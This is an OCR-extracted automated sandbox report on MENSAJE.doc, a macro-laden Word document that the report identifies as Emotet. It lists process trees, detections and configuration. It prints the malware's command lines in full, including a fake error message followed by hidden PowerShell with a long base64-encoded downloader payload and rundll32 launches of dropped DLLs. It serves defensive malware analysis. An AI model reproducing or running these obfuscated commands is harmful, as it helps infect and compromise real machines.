JOESandbox Cloud ™=

ID: 343668

Sample Name: MENSAJE.doc
Cookbook:
defaultwindowsofficecookbook.jbs
Time: 11:19:52

Date: 25/01/2021

Version: 31.0.0 Emerald



Table of Contents

Table of Contents
Analysis Report MENSAJE.doc

Overview
General Information
Detection
Signatures
Classification
Startup

Malware Configuration
Threatname: Emotet

Yara Overview
Memory Dumps
Unpacked PEs
Sigma Overview
System Summary:
Signature Overview
AV Detection:
Compliance:
Networking:
E-Banking Fraud:
System Summary:
Data Obfuscation:
Persistence and Installation Behavior:
Hooking and other Techniques for Hiding and Protection:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Contacted IPs
Public
General Information

Simulations
Behavior and APIs
Joe Sandbox View / Context
IPs
Domains
ASN
JA3 Fingerprints
Dropped Files
Created / dropped Files

Static File Info
General
File Icon

Static OLE Info
Copyright null 2021

O O WO owowowoN~N~NwNw~Nooouoaoaon ol O1LN

20
20
21

21
Page 2 of 53



General

OLE File "MENSAJE.doc"
Indicators

Summary

Document Summary
Streams with VBA

VBA File Name: Nre_13r__vlmeabhr2, Stream Size: 1121
General
VBA Code Keywords
VBA Code
VBA File Name: Twwejh034u32ebq, Stream Size: 701
General
VBA Code Keywords
VBA Code
VBA File Name: Uved9u320lyen, Stream Size: 25167
General
VBA Code Keywords
VBA Code
Streams
Stream Path: \x1CompObj, File Type: data, Stream Size: 146
General
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
General
Stream Path: \xX5SummaryInformation, File Type: data, Stream Size: 552
General
Stream Path: 1Table, File Type: data, Stream Size: 6847
General
Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 516
General
Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 149
General
Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6003
General
Stream Path: Macros/VBA/dir, File Type: Tower32/800 68020 not stripped - version 18435, Stream Size: 676
General
Stream Path: WordDocument, File Type: data, Stream Size: 112766
General
Stream Path: word, File Type: data, Stream Size: 1122
General

Network Behavior
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets

Code Manipulations

Statistics
Behavior

System Behavior
Analysis Process: WINWORD.EXE PID: 2416 Parent PID: 584

General
File Activities
File Created

File Deleted

File Read
Registry Activities

Key Created

Key Value Created

Key Value Modified

Analysis Process: cmd.exe PID: 2376 Parent PID: 1220

General

Analysis Process: msg.exe PID: 2496 Parent PID: 2376

General

Analysis Process: powershell.exe PID: 2308 Parent PID: 2376
General

File Activities
File Created
File Written
File Read

Registry Activities
Analysis Process: rundll32.exe PID: 2512 Parent PID: 2308
General

File Activities
File Read

Analysis Process: rundll32.exe PID: 2360 Parent PID: 2512

Copyright null 2021

21
21
21
21
22
22
22
22
22
22
22
22
23
23
23
23
23
30
30
30
30
30
30
30
30
31
31
31
31
31
31
31
31
32
32
32
32
32
32

32
32
33
34
34
35
35
35

36

36
36

37

37
37
37
37

37
37
38
38
38
39

41
41

42
42

43
43
44
44

44
46

47
47
47
47
47

47

Page 3 of 53



General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General
File Activities

Analysis Process:

General

Analysis Process:

General

Disassembly
Code Analysis

Copyright null 2021

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

rundll32.exe PID:

2708 Parent PID: 2360

2844 Parent PID: 2708

2804 Parent PID: 2844

2936 Parent PID: 2804

912 Parent PID: 2936

2312 Parent PID: 912

2848 Parent PID: 2312

3032 Parent PID: 2848

620 Parent PID: 3032

2368 Parent PID: 620

948 Parent PID: 2368

a7
48
48
48
48
48
49
49
49
49
49
50
50
50
50
50
51
51
51
51
51
52
52
52
52
52
53
53

53
53

Page 4 of 53



Analysis Report MENSAJE.doc
Overview

General Information Detection

Sample MENSAJE.doc
Name: MALICIOUS

Analysis ID: 343668

Classification

Antivirus detection for URL or domain

Multi AV Scanner detection for doma...

MD5: . .
cca3520e9a551b.. Multi AV Scanner detection for dropp...
SHA1L:
cbeaf477ab784dS. Multi AV Scanner. detection for subm...
SHAZ256: 0965ec391a19f82.

Office document tries to convince Vvi...
Most interesting Screenshot:

System process connects to networ...

Yara detected Emotet

Creates processes via WMI

m Document contains an embedded VB...
100

Score: Document contains an embedded VB...
Range: 0-100 Document contains an embedded VB...
Whitelisted: false

) Encrypted powershell cmdline option...
Confidence: 100%

w
«Q
>
2
(=
=
®
(7]

Startup

= System is w7x64

. WINWORD.EXE (PID: 2416 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2376 cmdline: cmd cmd /c m"s”g %username% /v Wo"rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs"heMI" -w hi*dd”en -"e”nc IAAgAFM
AZQBUAC0AaQBUAEUAbQAJACGAIgB2AEEAUgBPACIAKWAIAGEAYgBMAGUAOGAWAGKAIgArACIAOQBMACIAKWAIAFOAYgAIACKAIAAgACJAIABbAFQAWQBWAEUAXQAOACIAe
WAXAHOAewAyAHOAewAOAHOAewA1AHOAewAWAHOAewAzAHOAeWA2AHOAIGAGACOARGAJACCAVABPACCALAANAFMAWQBTAFQAZQANACWAIJWBNACAASQBVACAAZ
ABpPACCALAANAFIAJWASACCACgBIACCALAANAEMAIWASACCAWQANACKAIAAGACKAIAAGADSAIAAGACAAJABSAHCATQASAGAAIAAIAFSAJABZAFAARQBIACGAIgB7ADUAIQB
7ADAAfQB7ADMAFQB7ADIAfQB7ADQAfQB7ADEAfQAIACAALQBGACAAIWBUAEUAJAAUAHMAZQBSAFYAIJWASACCAZQBSACCALAANAEKAbgBUACCALAANAGKAQWB
FAFAAbWANACWAJWBtAGEATgBBAECAIWASACCAUWBZAHMAJABFAEOALgANACKAIAAGADSAIAAGACQAUWAOAGSANgBOAHIAagA9ACQATgA2ADKARWAGACSAIAB
bAGMAaABhAHIAXQA0ADMAMWAPACAAKWAJACQATWAYAFBAUAA7TACQARWAXADQAUQA9ACIAIWBVACCAKWAOACCAMWANACSAIWA2AE4AIWAPACKAOWAJACQAMAB
JADKAZgB6AGIAOgABACIAQWBSAGUAY QBOAGAARQBEAGKACGBFAGAAYWBUAEBAUgBZACIAKAAKAEgGATWBNAEUAIAAACAAKAACACGAIWAYAEBAY gBMACCAKWA
NAGKAJWArACcAcQANACKAKWANADgAbAANACSAIWALIACCAKWANADgAIWATACgAIWAYACCAKWANAEBAYgBFAGCAIWAPACSAKAANAGBAIWArACcAawA3AGUAaQA
NACKAKWAOACCAMgBPACCAKWANAGIAIWAPACKAIAAAEMAUGBIAHAATABBAGMARQAJACJAWWBDAGYAQQBSAFOANQAWACSAWWBDAGIAQQBSAFOANWASACSAWWB
DAGYAQQBSAFOAOQA4ACKALABHAEMAaABBAFIAXQASADIAKQAPADSAJABPADIAXWBZADOAKAAOACCAVAANACSAIWAZADUAIWAPACSAIWBEACCAKQA7ACAAKAA
gACAAZWBDAGKAIAAgAFY AQQBSAEKAQQBIAGWARQABAHKAdWBtADKATgAJACKALGBWAGEABABLAGUAOGABGACIAUWBFAGMAdQBYAGAAaQBUAFKACABYAFIAbWB
O0AGAAbWBDAGBAbAAIACAAPQAGACYAKAANAFQADAANACSAIWBZACCAKQAIACCAMQAYACCAKQA7ACQAUWA3ADCATGA9ACIGAIWBBACCAKWAOACCAOAAXACCAKWA
NAFCAIWAPACKAOWAKAECACQBOADAAagBfAGIAIAASACAAKAANAEQAIWATACYAIWA2ACCAKWANADQATWANACKAKQA7ZACQAVWALADY ATWAIACIAKAANAEMAIWA
rACcANAA3ACCAKQAIACCARgANACKAOWAKAEOAJABUADAANQB2AHIAPQAKAEgATWBNAEUAKWAOACGAIWB7ADAAFQANACSAIWBMAGKACQA4AGWANQA4AHSAMAB
9ACCAKWAOACCARQBNACCAKWANAGBAIWAPACSAIWBIADCAIWArACCAZQBPAHSAMABIACCAKQAGACOAZGAgAFSAQWBOAGEACgBAADKAMgAPACSAJABHAHEAaAA
WAGOAXWBIACSAIWAUAGQAJIWAJACSAIAANAGWADBAANADSAJABLADYAOQBXADOAKAAOACCASAALACCAKWANADKAIWAPACSAIWBZACCAKQA7TACQAVABIADEACQB
3AHQAOQAI9ACCAaAANACAAKWAGACCAJABOACCAIAATACAAIWBWACCAOWAKAEBAeQBSAHgAMQBKAGMAPQA0ACYAIWBAACAAWWANACSAIWAGAHMAIWArACCAaAA
NACKAKWANACAAYgANACSAIWABACCAKWANACBAIWATACGAIWAVAGAAIWATACCAY QBKAHKAIWAPACSAIWBZACCAKWAOACCAY QANACSAIWAUAGMAIWAPACSAIWBVAGOAIWATA
CgAIWAVACCAKWANAHCAIWAIACCACAANACSAIWAIAGMAbWBUAHQAZQANACKAKWANAG4AAdAANACSAIWAVAEEAIWATACgAIWBSAGOAIJWArACCAZQBOACCAKQAIrACCALWANACS
AIWAhACCAKWAOACCAeAANACSAIWAGAFSAIWAPACSAKAANACAACWBOACAAYgANACSAIWABACBALWBIACCAKWANAGBAbWBIACCAKWANAGEACYBrACcAKQArACgAIWBIAHQAZ
QANACsAIJWBYACA4AIWArACCAYWBVACCAKQArACgAIWBIACCAKWANACBAdWANACKAKWAOACCACAAIAGMAIWATACCAbWBUAHQAIWArACCAZQANACKAKWANAGAAJAANACSAKAA
NAC8AJWArACcANgAVACCAKQArACCAIQANACSAKAANAHGAIAANACSAIWBbACAACWBOACCAKQATACgAIWAGACCAKWANAGIAOgANACKAKWANACBALWANACSAKAANAGMACgBVA
G8AJWArACcAawAnACsAJwBzACOAdJABhAHKAbABVAHIAJWAPACSAKAANACAAYWANACSAIWBVACCAKQArACCAbQANACSAIWAVACCAKWAOACCAMQA2ACCAKWANADCANGANACK
AKWANADQANWANACSAKAANADAAOQA3ADMAIWATACCALWAXACBAIQANACSAIWBAACCAKQAIrACCAIABBACCAKWANACAACWANACSAIWBOACCAKWANACAAIWATACC
AYgABACCAKWANACBAIWATACYAIWAVAHCAIWArACCAaAANACSAIWBPAHQAZQANACKAKWANAHQAIWAIACCAAABIACCAKWAOACCADQANACSAIWBIACAAIWAPACSAIWBAAHKAT
WArACgAJwBBAC8AIWArACcAdwBWACOAYWBVAGAAIWArACCAdAANACKAKWAOACCAZQBUAHQALWANACSAIWBXACCAKQArACCAOABIACCAKWAOACCALWAhAHgAIWArACCAIAB
bACcAKWANACAAcWBOACCAKQArACgAIWAGAGIAIWATACCAOgANACKAKWAOACCALWAVAHIAIWATACCAZQBAACCAKQArACgAIWAUAHQAY QANACSAIJWBzACCAKWANAGOAaQBYA
CcAKQArACgAJwWBhACCcAKWANAGCcAcgBVAHUACAAUACCAKQATrACgAIWB]AGBADQANACSAIJWAVACCAKQArACgAIWB3ACCAKWANAHAALQANACKAKWANAGKAbgANA
CsAKAANAGMAJIWAIrACCAbABLIAGQAIWAIACCAZQBzACBAdQBUADYARWAVACCAKWANACEAeAAGACCAKQATACgAIWBDACAAIWAIACCACWBOACAAYJABACCAKWANA
C8ALWANACKAKWANAHIAJWArACCcAY QBIACCAKWAOACCcAaQANACSAIJWBIAGKALgGANACKAKWAOACCAZgB1ACCAKWANAGAALWANACKAKWANAGUAaQANACSAIJWBKAGWAIWArACY
AIWAAHIAZQBJAG8AbgBzACCAKWANAGKAIJWArACCAZAANACKAKWANAGUAIWATACgAIWBYAGEAIWArACCAJABPACCAKQArACJAIWBVAGAALQBIAHMAIWATACCAMWBSACCAK
WANAHUALWANACKAKWAOACCAZGBIACCAKWANAGBAIWAPACSAIWBPAGKAIWArACgAIWBBAESALWANACSAIWAhACCAKQAIACGAIWBAACCAKWANACAAWWAGAHMAJ
WApPACSAKAANAGGAIWATACCAIABIACCAKQATrACgAIJWABACBAIWArACCALWANACKAKWAOACCABAANACSAIWB2AGAAIWAPACSAIWBZAGSAIWATACgAIWBpACCAKWANAGAALGB
JACCAKQArACgAIWBVACCAKWANAGOALWBOACBAIWAPACSAKAANAEKAQJANACSAIWAVACCAKQAPACAAIgBYAGAAZQBWAGWAYABBAGMARQAIACJAKAAOACCAEAA
nNACsAIJWAGAFSAIJWAPACSAIWAGAHMAIWArACgAIWBOACAAIWAIACCAYgANACKAKQASACgAWWBhAHIAcgBhAHKAXQAOACCAbgBgACCALAANAHQACGANACKALAANAHKAagANnA
CWAIWBZAGMAIWASACQAVABrADEACQB3AHQAOQASACCAdWBKACCAKQBBADMAXQAPACAAIGBTAFAAYABMAGKAdAAIACJAJABSADYAOQBIJACAAKWAGACQAUWAOA
GsANgBOAHIAagAgACSAIAAKAEMAMGA4AFEAKQA7ACQAQUAWADUASWAIACYAIWBDACCAKWAOACCAOAAWACCAKWANAEAAIWAPACKAOWBMAGBACYBIAGEAYWBOA
CAAKAAKAFQAdQA1AHQAJABOAGEAIABPAGAAIAAKAEBAeQBSAHJAMQBKAGMAKQB7AHQACYB5AHSAKAAMACYAIWBOAGUAIWArACCADWALAEBAYgBGAGUAJIWAIA
CcAYWBOACCAKQAgAFMAe QBzZAHQAZQBIACAATYBIAFQALYB3AEUAQYBDAGWAaQBIAE4AdAAPACAAIgBEAGBAdWBUAGAADABVAEEARABMAGAASQBMAGUAIgAOA
CQAVAB1ADUAdJABOAHQAY QASACAAJABNAHQAbgAWADUAdgBYACKAOWAKAEOAXWAOAEgAPQAOACJAIWBOACCAKWANADAAMYANACKAKWANAFY AJWAPADSASQBmMA
CAAKAAO0ACYAKAANAECAZQBOACOAIWArACCASQANACSAIWBOAGUADQANACKAIAAKAEOAdABUADAANQB2AHIAKQAUACIATABFAG4AYABHAGAAVABIACIAIAALA
GCcAZQAgADQAMQA3ADMANWAPACAAewAMACgAIWBYAHUAbgBKAGWAIWAIACCAbAAZADIAIWAPACAAIJABNAHQAbgAWADUAdgBYACWAKAACOACCAQQBUACCAKWANA
HKAJWAPACSAIWBTACCAKWAOACCAdABYACCAKWANAGKADBgANACKAKWANAGCAIWAPACAAIGBOAGBACWBOAGAAUGBPAGAATYBNACIAKAAPADSAJABTADQANWBXA
DOAKAANAFCAMWANACSAJWBFAE4AIWAPADSAY gByAGUAY QBrADsAJABTAFBANABFADOAKAAOACCAQYANACSAIWALADQAIWAPACSAIWBAACCAKQBIAHOAYWBhA
HQAYWBO0AHSAfQBIACQAVQAZADUAUgA9ACYAIWBDADYAIWArACCANQBCACCAKQA= MD5: 5746BD7E255DD6ABAFAO6F7C42C1BA4L)

Copyright null 2021 Page 5 of 53




e [ msg.exe (PID: 2496 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e E3F powershell.exe (PID: 2308 cmdline: powershell -w hidden -enc IAAGAFMAZQBUAC0AaQBUAEUAbQAgACgAIgB2AEEAUgBpACIAKWAIAGEAY gBMAGUAOgAW
AGKAIgArACIAOQBMACIAKWAIAFOAYgAIACKAIAAGACYAIABDAFQAWQBWAEUAXQAOACIAewAXAHOAewAYAHOAeWAOAHOAewA1AHOAeWAWAHOAeWAZAHOAeWA2
AHOAIGAGACOARJAgACCAVABPACCALAANAFMAWQBTAFQAZQANACWAIJWBNACAASQBVACAAZABPACCALAANAFIAJWASACCACYBIACCALAANAEMAIWASACCAWQAN
ACKAIAAGACKAIAAGADSAIAAGACAAIABSAHCATQASAGAAIAAIAFSAJABZAFAARQBAACgAIgB7ADUAFQB7ADAATQB7ADMAIQB7ADIAIQB7ADQATQB7ADEAFQAI
ACAALQBGACAAIWBUAEUAJAAUAHMAZQBSAFYAIWASACCAZQBSACCALAANAEKAbgBUACCALAANAGKAQWBFAFAABWANACWAIJWBIAGEATYBBAECAJWASACCAUWBZ
AHMAJABFAEOALgANACKAIAAgADSAIAAGACQAUWAOAGSANGBOAHIAagASACQATgA2ADKARWAJACSAIABBAGMAaABhAHIAXQAOADMAMWAPACAAKWAGACQATWAY
AF8AUAA7ACQARWAXADQAUQAIACYAIWBVACCAKWAOACCAMWANACSAIWA2AEAAIWAPACKAOWAJACQAMABJADKAZgBBAGIAOgAGACIAQWBSAGUAYQBOAGAARQBE
AGKACcgBFAGAAYWBUAEBAUYBZACIAKAAKAEgATWBNAEUAIAATACAAKAAOACGAIWAYAEBAY gBMACCAKWANAGKAIJWAIACCACQANACKAKWANADGABAANACSAIWAL
ACCcAKWANADgAIWArACgAIJWAYACCAKWANAEBAYgBFAGCAIWAPACSAKAANAGBAIWArACcAawA3AGUAaQANACKAKWAOACCAMgBPACCAKWANAGIAIJWAPACKAIAAL
AEMAUgBIAHAATABBAGMARQAGACgJAWWBDAGYAQQBSAFOANQAWACSAWWBDAGIAQQBSAFOANWASACSAWWBDAGYAQQBSAFOAOQA4ACKALABDAEMAAA
BBAFIAXQA5ADIAKQAPADSAJABPADIAXWBZADOAKAAOACCAVAANACSAIWAZADUAIWAPACSAIWBEACCAKQA7ACAAKAAGACAAZWBDAGKAIAAGAFYAQQBSAEKAQQ
BIAGWARQABAHKAJWBtADKATGAgACKALgBWAGEABABLAGUAOGABACIAUWBFAGMAJQBYAGAAaQBUAFKACABGAFIAbWBOAGAAbBWBDAGBADAAIACAAPQAJACIAKA
ANAFQADBAANACSAIWBZACCAKQAIACCAMQAYACCAKQA7ACQAUWA3ADCATGAIACIAIWBBACCAKWAOACCAOAAXACCAKWANAFCAIWAPACKAOWAKAECACQBOADAAag
BfAGIAIAA9ACAAKAANAEQAJWArACGAIWA2ACCAKWANADQATWANACKAKQA7ACQAVWALADY ATWA9ACGAKAANAEMAIWArACCANAA3ZACCAKQAIACCARGANACKAOW
AKAEOAJABUADAANQB2AHIAPQAKAEgATWBNAEUAKWAOACGAIWB7 ADAAFQANACSAIWBMAGKACQA4AGWANQA4AHSAMABIACCAKWAOACCARQBNACCAKWANAGBAIW
ApPACsAIWBrADcAIWArACCAZQBpAHSAMABIACCAKQAJACOAZGAgAFSAQWBOAGEAcgBAdADKAMgAPACSAJABHAHEAaAAWAGOAXWBIACSAIWAUAGQAIWAGACSAIA
ANAGWADBAANADSAJABLADYAOQBXADOAKAAOACCASAA4ACCAKWANADKAIWAPACSAIWBZACCAKQA7TACQAVABIADEACQB3AHQAOQAIACCAaAANACAAKWAGACCAdA
BOACCAIAArACAAIWBWACCAOWAKAEBAeQBSAHgAMQBKAGMAPQA0ACYAIWBAACAAWWANACSAIWAGAHMAIWAIACCAaAANACKAKWANACAAY gANACSAIWABACCAKW
AnAC8AIWArACgAIWAVAGAAIWATACCAY QBKAHKAIWAPACSAIWBZACCAKWAOACCAY QANACSAIWAUAGMAIWAPACSAIWBVAGOAIWArACgAIWAVACCAKWANAHCAIW
ArACcAcAANACSAIWAIAGMAbWBUAHQAZQANACKAKWANAGAAJAANACSAIWAVAE EAJWArACgAIWBSAGOAIWArACCAZQBOACCAKQArACCALWANACSAIJWAhACCAKwW
A0ACcAeAANACSAIWAGAFSAIWAPACSAKAANACAACWBOACAAYJANACSAIWABACBALWBIACCAKWANAGBAbwBtACCAKWANAGEACGBrACCAKQArACgAJWBIAHQAZQ

AnACsAJWBYAC4AIWArACCcAYWBVACCAKQArACgAJIwBtACCAKWANACBAdWANACKAKWAOACCACAAAGMAIWAIACCAbwBUAHQAJWATACCAZQANACKAKWANAGAAdA
AnACsAKAANACBAIJWArACCANgAVACCAKQArACCcAIQANACSAKAANAHGAIAANACSAIWBBACAACWBOACCAKQArACgAIWAGACCAKWANAGIAOgANACKAKWANACBALwW
AnACsAKAANAGMACcgBVAGBAJWArACcAawAnACsAIJwBzACOAdABhAHKAbABVAHIAIJWAPACSAKAANACAAYWANACSAIWBVACCAKQArACCAbQANACSAIWAVACCAKwW
AOACCAMQA2ACCAKWANADCANgANACKAKWANADQANWANACSAKAANADAAOQA3ADMAIWAIACCALWAXACBAIQANACSAIWBAACCAKQArACCAIABBACCAKWANACAACW
AnACsAJWBOACCAKWANACAAIWArACCAYgABACCAKWANACBAIWArACgAIJWAVAHCAIJWArACCcAaAANACSAIWBPAHQAZQANACKAKWANAHQAIWATrACcAaABIACCAKw
A0ACCcAbQANACSAIWBIACAAIWAPACSAIWBAAHKAIWArACgAIWBBACBAIWAIACCAdWBWACOAYWBVAGAAIWArACCAdAANACKAKWAOACCAZQBUAHQALWANACSAIW
BXACCAKQArACcAOABIACCAKWAOACCALWAhAHGAIWAIrACCAIABBACCAKWANACAACWBOACCAKQArACgAIWAJAGIAIWArACCAOgANACKAKWAOACCALWAVAHIAIW
ArACcAZQB4ACCAKQArACgAIWAUAHQAY QANACSAIWBZACCAKWANAGOAaQBYACCAKQAIACGAIWBhACCAKWANAGCACYBVAHUACAAUACCAKQArACYAIWBJAGBADQ
ANACsSAIWAVACCAKQArACgAIWB3ACCAKWANAHAALQANACKAKWANAGKAbBgANACSAKAANAGMAJIWAIACCAbABIAGQAJIWATIACCAZQBzACBAdQBUADYARWAVACCAKW
AnACEAeAAgACCAKQArACgAIWBbACAAIWAIrACCACWBOACAAYgABACCAKWANACBALWANACKAKWANAHIAJWAIrACCAY QBIACCAKWAOACCAaQANACSAIWBIAGKALY
AnACKAKWAOACCAZgB1ACCAKWANAGAALWANACKAKWANAGUAaQANACSAIWBKAGWAIWAIACgAIWALAHIAZQBJAG8AbgBzACCAKWANAGKAIJWArACCAZAANACKAKwW
AnAGUAIWArACgAJWBYAGEAJWArACcAdABpACCAKQArACgAIWBVAGAALQBIAHMAIWArACcAMwWBSACCAKWANAHUALWANACKAKWAOACCAZgBIACCAKWANAGBAIwW
ApPACsAIWBPAGKAIWArACgAIWBBAEBALWANACSAJWAhACCAKQArACgAIWBAACCAKWANACAAWWAGAHMAIWAPACSAKAANAGYAIWATACCAIABIACCAKQATrACAIW
AB6ACBAIWArACcALWANACKAKWAOACCABAANACSAIWB2AGAAIWAPACSAIWBZAGSAIWATACgAIWBPACCAKWANAGAALGBJACCAKQArACgAIWBVACCAKWANAGOALwW
BOACBAIWAPACSAKAANAEKAQYANACSAIJWAVACCAKQAPACAAIgBYAGAAZQBWAGWAYABBAGMARQAIACJAKAACOACCAeAANACSAIWAGAFSAIWAPACSAIWAgGAHMAIW
ArACgAIWBoACAAIWATACCAYgANACKAKQASACgAWWBhAHIAcgBhAHKAXQAOACCAbgBgACCALAANAHQACgANACKALAANAHKkAagANACWAIWBZAGMAIWASACQAVA
BrADEACQB3AHQAOQASACCAdWBKACCAKQBDADMAXQAPACAAIgBTAFAAYABMAGKAJAAIACJAJABSADYAOQBIACAAKWAJACQAUWAOAGSANgBOAHIAagAgACSAIA
AKAEMAMgA4AFEAKQA7ACQAQJAWADUASWAIACGAIWBDACCAKWAOACCAOAAWACCAKWANAE4AAIWAPACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAFQAdQALAHQAIA
BOAGEAIABpAG4AIAAKAE8AeQBSAHgAMQBKAGMAKQB7AHQACYB5AHSAKAAMACGAIWBOAGUAIWArACCAAWALAEBAYgBJAGUAIWATACCAYWBOACCAKQAGAFMAeQ
BzAHQAZQBAC4ATYBIAFQALYB3AEUAQYBDAGWAaQBIAE4AdAAPACAAIgBEAGBAdWBUAGAADABVAEEARABMAGAASQBMAGUAIgGAOACQAVABIADUAJABOAHQAYQ
ASACAAJABNAHQAbgAWADUAdgBYACKAOWAKAEOAXWAOAEgAPQAOACIAIWBOACCAKWANADAAMIANACKAKWANAFYAIJWAPADSASQBMACAAKAAOACYAKAANAECAZQ
BOACOAJWArACCASQANACSAIWBOAGUABQANACKAIAAKAEOAJABUADAANQB2AHIAKQAUACIATABFAG4AYABHAGAAVABIACIAIAAIAG CAZQAgADQAMQA3ADMANW
ApACAAewAMACgAIWBYAHUAbgBKAGWAIWArACCcAbAAZADIAIWAPACAAJABNAHQAbgAWADUAdgBYACWAKAAOACCAQQBUACCAKWANAHKAIWAPACSAIWBTACCAKwW
A0ACCcAdABYACCAKWANAGKAbgANACKAKWANAGCAIWAPACAAIgBOAGBACWBOAGAAUYBPAGAATYBNACIAKAAPADSAJABTADQANWBXADOAKAANAFCAMWANACSAIW
BfAE4AJWAPADSAYgBYAGUAYQBrADSAJABTAFSANABFADOAKAAOACCAQYANACSAIWALADQAIWAPACSAIWBaACCAKQBIAHOAYWBhAHQAYWBOAHSATQBOACQAVQ
AzADUAUgA9ACgAIWBDADYAIWArACCANQBCACCAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2512 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Liq8I58\Egok7ei\D640.dIl AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2360 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\user\Liq8I58\Egok7ei\D640.dIl AnyString MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2708 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Users\user\Lig8I58\Egok7ei\D640.dll'#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Sgnknlpyv\hvpedfkj.tan’,xwmmryHmiBrcQ MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2804 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Sgnknlpyv\hvpedfkj.tan',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2936 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ceelf\ceht.ynf', LiprinkL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 912 cmdline: C:\Windows\SysWOW&64\rundll32.exe 'C:\Windows\SysWOW&64\Ceelf\ceht.ynf',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2312 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Gsthghdcbll\xymuoataos.ccr',ZIOVOPTF
KFCSIH MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2848 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Gstbghdcbll\xymuoataos.ccr',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3032 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Lzlvyublngyg\ovcucjzboyk.n
wn',dHWVVgE MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 620 cmdline: C:\Windows\SysWOW#64\rundll32.exe 'C:\Windows\SysWOW64\Lzlvyublngyg\ovcucjzboyk.n
wn',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2368 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuw\
lidxvtebowotvy.fit', XiceWXom MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 948 cmdline: C:\Windows\SysWOW#64\rundll32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuv\
lidxvtebowotvy fit',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet
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{
"RSA Public Key":

"MHwwDQYJIKoZIhvcNAQEBBQADawAwaAJhAOZ9fL I8Ur IO0ZURpPsR3et jAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzDOnlCFHO07Zf8/4wY2UWOCI4dIEHNE/PH1 z |\ n6uNk3px jm704eCDy1Jbz f+k0OAzjl0q54FQIDAQAB"

}

Yara Overview

Memory Dumps

Source

00000010.00000002.2195836054.00000000001C0000.0000
0040.00000001.sdmp

00000009.00000002.2118741033.00000000001C0000.0000
0040.00000001.sdmp

00000011.00000002.2205409223.0000000000130000.0000
0040.00000001.sdmp

0000000E.00000002.2173526087.00000000001A0000.0000
0040.00000001.sdmp

0000000F.00000002.2186412601.00000000003B0000.0000
0040.00000001.sdmp

Unpacked PEs

Source

12.2.rundlI32.exe.1c0000.0.unpack
13.2.rundll32.exe.10000000.2.raw.unpack
14.2.rundlI32.exe.1c0000.1.unpack
17.2.rundlI32.exe.130000.0.raw.unpack

10.2.rundlI32.exe.6d0000.1.unpack

Sigma Overview

System Summary:

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Click to see the 31 entries

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security

JoeSecurity_Emotet

Emotet

Click to see the 67 entries

Signature Overview

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

